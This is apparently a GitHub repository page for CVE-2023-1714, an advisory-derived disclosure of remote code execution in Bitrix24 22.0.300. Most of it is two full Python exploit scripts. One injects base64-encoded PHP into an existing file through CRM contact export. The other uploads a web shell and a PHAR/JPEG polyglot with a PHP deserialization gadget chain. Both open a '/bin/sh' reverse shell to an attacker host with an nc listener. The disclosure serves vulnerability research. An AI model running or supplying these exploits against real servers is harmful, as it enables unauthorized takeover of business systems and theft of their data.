ForceFledgling / CVE-2023-1714

Bitrix24 Remote Command Execution (RCE) via Unsafe Variable Extraction

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CVE-2023-1714

Bitrix24 Remote Command Execution (RCE) via Unsafe Variable Extraction

Unsafe variable extraction in bitrix/modules/main/classes/general/user_options.php in Bitrix24 22.0.300 allows remote authenticated attackers to execute arbitrary code via (1) appending arbitrary content to existing PHP files or (2) PHAR deserialization.

https://starlabs.sg/advisories/23/23-1714/

Proof-of-Concept (RCE via appending arbitrary content to existing PHP files)🔥

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the insecure file append vulnerability and opens a reverse shell connection to the victim web server. The reverse shell code, defined in the CODE_TO_INJECT variable, is appended to the file specified in TARGET_FILE.

A sample exploit script is shown below:

# Bitrix24 Insecure File Append RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import base64

import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"

# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"

LPORT = 9001
LHOST = "192.168.86.43"

PROXY = {"http": "http://localhost:8080"}

CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); 
"""


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def set_progress_data(session, sessid):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded(
                            {
                                "p": [{
                                    "c": "crm",
                                    "v": {
                                        "filePath": f"{ROOT_PATH}{TARGET_FILE}",
                                        "processToken": "b",
                                    },
                                    "n": "crm_cloud_export_CONTACT"
                                }],
                                "sessid": sessid
                            }
                        )))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def trigger_file_append(session, sessid):
    print(f"[+] Appending payload to target file")
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data={
            "ENTITY_TYPE": "CONTACT",
            "EXPORT_TYPE": "csv",
            "COMPONENT_NAME": "bitrix:crm.contact.list",
            "PROCESS_TOKEN": "b",
            "REQUISITE_MULTILINE": "Y",
            "EXPORT_ALL_FIELDS": "Y",
            "INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
            "INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
        }
    )


def delete_contact(session: requests.Session, sessid, contactId):
    print(f"[+] Deleting contact {contactId}")
    res = session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[gridId]=CRM_CONTACT_LIST_V12&params[entityTypeId]=3&params[extras][CATEGORY_ID]=0&params[entityIds][0]={contactId}",
    )
    hash = res.json()["data"]["hash"]
    session.post(
        HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Bitrix-Csrf-Token": sessid
        },
        data=f"params[hash]={hash}",
    )
    print(f"[+] Contact {contactId} deleted")


def create_contact(session: requests.Session, sessid):
    payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
    res = session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
        },
        data={
            "PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
            "PARAMS[CATEGORY_ID]": "0",
            "EDITOR_CONFIG_ID": "contact_details",
            "HONORIFIC": "",
            "LAST_NAME": "",
            "NAME": "Definitely not Attacker",
            "SECOND_NAME": "",
            "BIRTHDATE": "",
            "POST": "",
            "PHONE[n0][VALUE]": "",
            "PHONE[n0][VALUE_TYPE]": "WORK",
            "EMAIL[n0][VALUE]": "",
            "EMAIL[n0][VALUE_TYPE]": "WORK",
            "WEB[n0][VALUE]": "",
            "WEB[n0][VALUE_TYPE]": "WORK",
            "IM[n0][VALUE]": "",
            "IM[n0][VALUE_TYPE]": "FACEBOOK",
            "CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
            "TYPE_ID": "CLIENT",
            "SOURCE_ID": "CALL",
            "SOURCE_DESCRIPTION": payload,
            "OPENED": "Y",
            "EXPORT": "Y",
            "ASSIGNED_BY_ID": "3",
            "COMMENTS": "",
            "contact_0_details_editor_comments_html_editor": "",
            "ACTION": "SAVE",
            "ACTION_ENTITY_ID": "",
            "ACTION_ENTITY_TYPE": "C",
            "ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
        }
    )
    contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
    print(f"[+] Created contact {contactId}")
    return int(contactId)


def reverse_shell():
    requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    contactId = create_contact(s, sessid)
    try:
        set_progress_data(s, sessid)
        trigger_file_append(s, sessid)
    finally:
        delete_contact(s, sessid, contactId)
    threading.Thread(target=reverse_shell).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(LPORT)])

This vulnerability can be exploited when the attacker has access to the CRM feature and permission to create and export contacts. This level of access may be granted if the user is in the management board group.

Proof-of-Concept (RCE via PHAR deserialization)🔥

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the PHAR deserialization vulnerability and opens a reverse shell connection to the victim web server.

A sample exploit script is shown below:

# Bitrix24 PHAR Deserialization RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading

HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"

ROOT_PATH = "/var/www/html/"

PORT = 9001
LHOST = "192.168.86.125"

PROXY = {"http": "http://localhost:8080"}


def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
    out = dict()
    if type(val) is dict:
        for k, v in val.items():
            child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
            for key, val in child.items():
                out[prefix + key] = val
    elif type(val) in [list, tuple]:
        for i, item in enumerate(val):
            child = nested_to_urlencoded(item, prefix=f"[{i}]")
            for key, val in child.items():
                out[prefix + key] = val
    else:
        out[prefix] = val
    return out


def dict_to_str(d):
    return "&".join(f"{k}={v}" for k, v in d.items())


def check_creds(cookie, sessid):
    return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
        "X-Bitrix-Csrf-Token": sessid
    }, cookies={
        "PHPSESSID": cookie,
    }, proxies=PROXY).text == "OK"


def login(session, username, password):
    if os.path.isfile("./cached-creds.txt"):
        cookie, sessid = open("./cached-creds.txt").read().split(":")
        if check_creds(cookie, sessid):
            session.cookies.set("PHPSESSID", cookie)
            print("[+] Using cached credentials")
            return sessid
        else:
            print("[!] Cached credentials are invalid")
    session.get(HOST + "/")
    resp = session.post(
        HOST + "/?login=yes",
        data={
            "AUTH_FORM": "Y",
            "TYPE": "AUTH",
            "backurl": "/",
            "USER_LOGIN": username,
            "USER_PASSWORD": password,
        },
    )
    if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
        print(f"[!] Invalid credentials")
        exit()
    sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
        1
    )
    print(f"[+] Logged in as {username}")
    with open("./cached-creds.txt", "w") as f:
        f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
    return sessid


def upload_web_shell(s, sessid):
    data = f"""
    <?php 
    sleep(2);
    $sock=fsockopen("{LHOST}", {PORT});
    $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
    return upload(s, sessid, data)


def upload(session, sessid, data):
    CID = random.randint(0, pow(10, 5))
    resp = session.post(
        HOST + "/desktop_app/file.ajax.php?action=uploadfile",
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
        },
        files={
            "bxu_files[0][default]": (
                "file",
                data,
                "text/plain",
            )
        },
        proxies=PROXY,
    ).json()
    return resp["files"][0]["file"]["files"]["default"]["tmp_name"]


def make_phar(path):
    os.system("rm ./test.phar")
    print(f"[+] Creating PHAR")
    os.system(f"php --define phar.readonly=0 create_phar.php {path}")
    return open("./test.phar", 'rb').read()


def set_progress_data(session, sessid, path):
    print(f"[+] Setting fake user options")
    session.cookies.set("BITRIX_SM_LAST_SETTINGS",
                        dict_to_str(nested_to_urlencoded([{
                            "c": "crm",
                            "v": {
                                "FILE_PATH": f"phar://{path}/a",
                                "PROCESS_TOKEN": "b",
                            },
                            "n": "crm_stexport_contact"
                        }], "p"
                        ) | {"sessid": sessid}))
    session.get(
        HOST + "/bitrix/tools/public_session.php",
        headers={"X-Bitrix-Csrf-Token": sessid},
    )


def get_upload_params(session, sessid):
    resp = session.post(
        HOST
        + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
        + sessid,
        data={
            "FIELD_NAME": "PHOTO",
            "ACTION": "RENDER_IMAGE_INPUT",
            "ACTION_ENTITY_ID": "0",
        },
    )
    controlUid = re.search(
        re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
    ).group(1)
    controlSign = re.search(
        re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
    ).group(1)
    urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
    user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
    return controlUid, controlSign, urlUpload, user_id


def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
    resp = session.post(
        HOST + urlUpload,
        headers={
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": SITE_ID,
        },
        data={
            "bxu_files[file167][name]": "bitrix-out.jpg",
            "bxu_files[file167][type]": "image/jpg",
            "bxu_files[file167][size]": "10",
            "AJAX_POST": "Y",
            "USER_ID": user_id,
            "sessid": sessid,
            "SITE_ID": SITE_ID,
            "bxu_info[controlId]": "bitrixUploader",
            "bxu_info[CID]": controlUid,
            "cid": controlUid,
            "moduleId": "crm",
            "allowUpload": "I",
            "uploadMaxFilesize": "3145728",
            "bxu_info[uploadInputName]": "bxu_files",
            "bxu_info[version]": "1",
            "bxu_info[mode]": "upload",
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": "pIndex1",
            "mfi_mode": "upload",
            "mfi_sign": controlSign,
        },
        files={
            "bxu_files[file167][default]": (
                "bitrix-out.jpg",
                data,
                "image/jpg",
            )
        },
        proxies=PROXY,
    )
    full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
    return re.search(
        re.compile(
            "/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
        ),
        full_path,
    ).group(1)


def trigger_file_exists(session, sessid):
    session.post(
        HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=nested_to_urlencoded({
            "SITE_ID": SITE_ID,
            "ENTITY_TYPE_NAME": "CONTACT",
            "EXPORT_TYPE": "csv",
            "PROCESS_TOKEN": "b",
        }, "PARAMS") | {"ACTION": "STEXPORT"}
    )


if __name__ == "__main__":
    s = requests.Session()
    s.proxies = PROXY
    sessid = login(s, USERNAME, PASSWORD)
    webshell_path = upload_web_shell(s, sessid)
    ROOT_PATH = webshell_path[:webshell_path.index("upload")]
    print(f"[+] Webshell uploaded to '{webshell_path}'")
    controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
    data = make_phar(webshell_path)
    path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
    path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
    print(f"[+] PHAR uploaded to '{path}'")
    set_progress_data(s, sessid, path)
    print(f"[+] Triggering file_exists phar deserialization")
    threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(PORT)])

The following PHP files also need to be present in the same directory:

create_phar.php:

<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;

include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
	public $activityFile;
	public $dialogFileName = 'properties_dialog.php';
	public $map;
	public $mapCallback;
	public $documentType;
	public $activityName;
	public $workflowTemplate;
	public $workflowParameters;
	public $workflowVariables;
	public $currentValues;
	public $formName;
	public $siteId;
	public $renderer;
	public $context;
    public $runtimeData = array();

	public function __toString()
	{
		if ($this->renderer !== null)
		{
			return call_user_func($this->renderer, $this);
		}

		$runtime = \CBPRuntime::getRuntime();
		$runtime->startRuntime();

		return (string)$runtime->executeResourceFile(
			$this->activityFile,
			$this->dialogFileName,
			array_merge(array(
				'dialog' => $this,
				//compatible parameters
				'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
				'formName' => $this->getFormName()
				), $this->getRuntimeData()
			)
		);
	}
}

$cloudDebug = new CCloudsDebug();

$dialog = new PropertiesDialog();


$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];

$cloudDebug->head = $dialog;

function generate_base_phar($o){
    global $tempname;
    @unlink($tempname);
    $phar = new \Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;

// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));

CCloudsDebug.php:

<?php

class CCloudsDebug
{

	public $head = '';
	public $id = '';
}

This vulnerability can be exploited when the attacker has access to the CRM feature and permission to edit contacts. This level of access may be granted if the user is in the management board group.

About

Bitrix24 Remote Command Execution (RCE) via Unsafe Variable Extraction

License:Apache License 2.0